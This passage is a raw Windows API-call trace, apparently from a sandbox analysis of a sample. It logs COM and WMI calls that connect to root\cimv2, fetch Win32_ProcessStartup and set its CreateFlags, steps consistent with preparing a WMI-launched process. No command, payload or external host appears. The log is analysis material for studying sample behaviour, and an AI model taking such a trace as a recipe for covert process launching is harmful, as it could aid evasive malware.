riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0074.159] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf639e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bf6e720) returned 0x0 [0074.159] WbemDefPath:IUnknown:Release (This=0x1bf639e0) returned 0x0 [0074.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e720, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bf6e720) returned 0x0 [0074.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e720, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0074.159] WbemDefPath:IUnknown:AddRef (This=0x1bf6e720) returned 0x3 [0074.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e720, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0074.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e720, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0074.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e720, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bf63a20) returned 0x0 [0074.159] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf63a20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.159] WbemDefPath:IUnknown:Release (This=0x1bf63a20) returned 0x3 [0074.159] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0074.159] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0074.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e720, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0074.159] WbemDefPath:IUnknown:Release (This=0x1bf6e720) returned 0x2 [0074.160] WbemDefPath:IUnknown:Release (This=0x1bf6e720) returned 0x1 [0074.160] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0074.160] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0074.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e720, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bf6e720) returned 0x0 [0074.160] WbemDefPath:IUnknown:AddRef (This=0x1bf6e720) returned 0x3 [0074.160] WbemDefPath:IUnknown:Release (This=0x1bf6e720) returned 0x2 [0074.160] WbemDefPath:IWbemPath:SetText (This=0x1bf6e720, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0074.160] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6e720, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0074.160] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e720, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0074.160] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e720, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.160] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0074.160] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0074.160] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0074.160] IUnknown:Release (This=0x111f638) returned 0x1 [0074.161] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bf63b20) returned 0x0 [0074.161] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63b20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0074.161] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf63b20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bf63b40) returned 0x0 [0074.161] WbemLocator:IUnknown:Release (This=0x1bf63b20) returned 0x0 [0074.161] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63b40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bf63b40) returned 0x0 [0074.161] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63b40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0074.161] WbemLocator:IUnknown:AddRef (This=0x1bf63b40) returned 0x3 [0074.162] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63b40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0074.162] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63b40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0074.162] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63b40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0074.162] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0074.162] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0074.162] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63b40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0074.162] WbemLocator:IUnknown:Release (This=0x1bf63b40) returned 0x2 [0074.162] WbemLocator:IUnknown:Release (This=0x1bf63b40) returned 0x1 [0074.162] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0074.162] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0074.162] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63b40, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bf63b40) returned 0x0 [0074.162] WbemLocator:IUnknown:AddRef (This=0x1bf63b40) returned 0x3 [0074.162] WbemLocator:IUnknown:Release (This=0x1bf63b40) returned 0x2 [0074.162] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6e720, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0074.162] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e720, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0074.162] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e720, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.162] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bf63b60) returned 0x0 [0074.162] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf63b60, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf61c50) returned 0x0 [0074.361] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf61c50, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11df420) returned 0x0 [0074.361] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11df420, pProxy=0x1bf61c50, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0074.361] WbemLocator:IUnknown:Release (This=0x11df420) returned 0x1 [0074.361] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf61c50, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11df460) returned 0x0 [0074.361] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf61c50, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11df420) returned 0x0 [0074.361] WbemLocator:IClientSecurity:SetBlanket (This=0x11df420, pProxy=0x1bf61c50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0074.361] WbemLocator:IUnknown:Release (This=0x11df420) returned 0x2 [0074.361] WbemLocator:IUnknown:Release (This=0x11df460) returned 0x1 [0074.361] CoTaskMemFree (pv=0x11f09b0) [0074.362] WbemLocator:IUnknown:AddRef (This=0x1bf61c50) returned 0x2 [0074.362] WbemLocator:IUnknown:Release (This=0x1bf63b60) returned 0x0 [0074.362] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0074.362] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0074.362] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf61c50, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11df430) returned 0x0 [0074.362] WbemLocator:IRpcOptions:Query (in: This=0x11df430, pPrx=0x1bf63bc0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0074.362] WbemLocator:IUnknown:Release (This=0x11df430) returned 0x2 [0074.362] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0074.362] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0074.362] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf61c50, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf61c50) returned 0x0 [0074.362] WbemLocator:IUnknown:Release (This=0x1bf61c50) returned 0x2 [0074.363] SysStringLen (param_1=0x0) returned 0x0 [0074.363] WbemDefPath:IWbemPath:GetText (in: This=0x1169380, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0074.363] WbemDefPath:IWbemPath:GetText (in: This=0x1169380, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0074.363] IWbemServices:GetObject (in: This=0x1bf61c50, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11ed8b0, ppCallResult=0x0) returned 0x0 [0074.365] IWbemClassObject:Get (in: This=0x11ed8b0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0074.365] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0074.365] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0074.365] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0074.365] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0074.365] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0074.365] IUnknown:Release (This=0x111f638) returned 0x1 [0074.367] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bf63b60) returned 0x0 [0074.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf63b60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0074.367] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf63b60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bf6e7e0) returned 0x0 [0074.367] WbemDefPath:IUnknown:Release (This=0x1bf63b60) returned 0x0 [0074.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e7e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bf6e7e0) returned 0x0 [0074.368] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e7e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0074.368] WbemDefPath:IUnknown:AddRef (This=0x1bf6e7e0) returned 0x3 [0074.368] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e7e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0074.368] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e7e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0074.368] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e7e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bf63b80) returned 0x0 [0074.368] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf63b80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.368] WbemDefPath:IUnknown:Release (This=0x1bf63b80) returned 0x3 [0074.368] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0074.368] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0074.368] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e7e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0074.368] WbemDefPath:IUnknown:Release (This=0x1bf6e7e0) returned 0x2 [0074.368] WbemDefPath:IUnknown:Release (This=0x1bf6e7e0) returned 0x1 [0074.368] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0074.368] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0074.368] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e7e0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bf6e7e0) returned 0x0 [0074.368] WbemDefPath:IUnknown:AddRef (This=0x1bf6e7e0) returned 0x3 [0074.368] WbemDefPath:IUnknown:Release (This=0x1bf6e7e0) returned 0x2 [0074.369] WbemDefPath:IWbemPath:SetText (This=0x1bf6e7e0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0074.369] IWbemClassObject:Get (in: This=0x11ed8b0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0fcc0*=0, plFlavor=0x2a0fcc4*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0fcc0*=19, plFlavor=0x2a0fcc4*=0) returned 0x0 [0074.369] IWbemClassObject:Get (in: This=0x11ed8b0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0fcc0*=19, plFlavor=0x2a0fcc4*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0fcc0*=19, plFlavor=0x2a0fcc4*=0) returned 0x0 [0074.369] IWbemClassObject:Put (This=0x11ed8b0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0074.369] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11692c0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0074.369] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0074.369] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0074.369] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.369] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0074.369] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0074.369] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), 